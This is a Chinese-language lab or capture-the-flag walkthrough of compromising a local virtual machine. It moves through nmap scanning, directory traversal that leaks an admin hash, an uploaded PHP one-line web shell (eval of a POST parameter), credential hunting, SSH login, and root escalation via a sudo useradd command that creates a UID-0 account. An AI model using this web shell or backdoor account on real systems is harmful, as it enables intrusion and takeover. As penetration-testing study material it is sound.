主机探测

IP 探测

1
2
3
4
5
6
7
8
9
10
11
C:\Users\Yongz\nmap# nmap -sP 192.168.146.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 17:17 �й���׼ʱ��
Nmap scan report for 192.168.146.1
Host is up.
Nmap scan report for 192.168.146.152
Host is up (0.00s latency).
MAC Address: 00:0C:29:0F:ED:74 (VMware)
Nmap scan report for 192.168.146.254
Host is up (0.00s latency).
MAC Address: 00:50:56:E0:85:FD (VMware)
Nmap done: 256 IP addresses (3 hosts up) scanned in 31.43 seconds
  • 判断出 192.168.146.152 为靶机 IP 地址。

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\Users\Yongz\nmap# nmap -sS -sV 192.168.146.152
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 17:21 �й���׼ʱ��
Nmap scan report for 192.168.146.152
Host is up (0.00099s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
MAC Address: 00:0C:29:0F:ED:74 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.15 seconds
  • 发现一个 SSH 服务与 HTTP 服务,个人习惯先对 HTTP 服务进行测试。

Web 渗透

信息收集

  • 访问对方 HTTP 服务

image-20231111110833658

  • 看了下 HTML 源码,没啥有价值的信息;

目录扫描

  • 我这使用 dirsearch 来进行,并将代理连接到 BurpSuite。
1
python3 dirsearch.py -e php --random-agent -i 200 --full-url --proxy=127.0.0.1:8080 -t 15 -u "http://192.168.146.152/lot/"

image-20231111110839611

  • 在 BurpSuite 上查看一下

image-20231111110845614

  • 找到 database 文件夹,查看发现存在目录遍历漏洞。

image-20231111110850772

  • 点击 lot_db.sql 文件,会显示下载。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.....
CREATE TABLE `users` (
`id` int(30) NOT NULL,
`name` text NOT NULL,
`username` varchar(200) NOT NULL,
`password` text NOT NULL,
`type` tinyint(1) NOT NULL DEFAULT 3 COMMENT '1=Admin,2=Staff, 3= subscriber'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

--
-- Dumping data for table `users`
--

INSERT INTO `users` (`id`, `name`, `username`, `password`, `type`) VALUES
(1, 'Administrator', 'admin', '0192023a7bbd73250516f069df18b500', 1);
.....
  • 发现账号密码(MD5解密为:admin123):admin/admin123。
  • 同时,发现有一个 admin 文件夹,访问要求输入账号密码。

image-20231111110904415

  • 这里其实可以忽略上一步的SQL文件,直接爆破,马后炮来看账号密码非常简单。使用前面的账号密码成功登陆。

image-20231111110909676

文件上传

  • 用上述账号密码来尝试 SSH 登录。
1
2
3
C:\Users\Yongz\nmap# ssh admin@192.168.146.152
admin@192.168.146.152's password:
Permission denied, please try again.
  • 登不上,但发现有文件上传点。

image-20231111110918517

  • 尝试文件上传,上传一句话木马。
1
<?php eval($_POST['v'])?>
  • 发现直接上传 php 文件并没有被拦截,但也没有文件上传位置回显。
  • 现在就是查找文件上传文件,在 BurpSuite 中发现个 assets 路径,访问发现存在目录遍历漏洞。

image-20231111110925103

  • 发现了 uploads,依次点击,发现上传的 PHP 文件。

image-20231111110928823

  • 使用蚁剑连接试试。

image-20231111110932569

  • 成功连接,看下 passwd 文件,发现一个 ppp 用户。

image-20231111110936829

SSH 登录

  • 查找 ppp 有关的文件:
1
find / -name *ppp* 2>/dev/null

image-20231111110942879

  • 访问一下

image-20231111111014889

  • 这里文件不多,可以一个一个点开看,我这选择用 grep 找:
1
grep -ri 'ppp' ./ 2>/dev/null

image-20231111111112554

  • 找到类似密码的字符串:ESRxd7856HVJB,使用 SSH 登录试试

image-20231111111030225

  • 登录成功!

useradd 提权

  • 当想查找 flag 文件时,处处提示没权限。
  • 接下来就是提权工作。
  • 使用 sudo -l 查找当前用户可以执行的 sudo 命令
1
useradd -p `openssl passwd 123456` -o -u 0 -g root -G root -s /bin/bash yz
  • 找到 flag

image-20231111111104474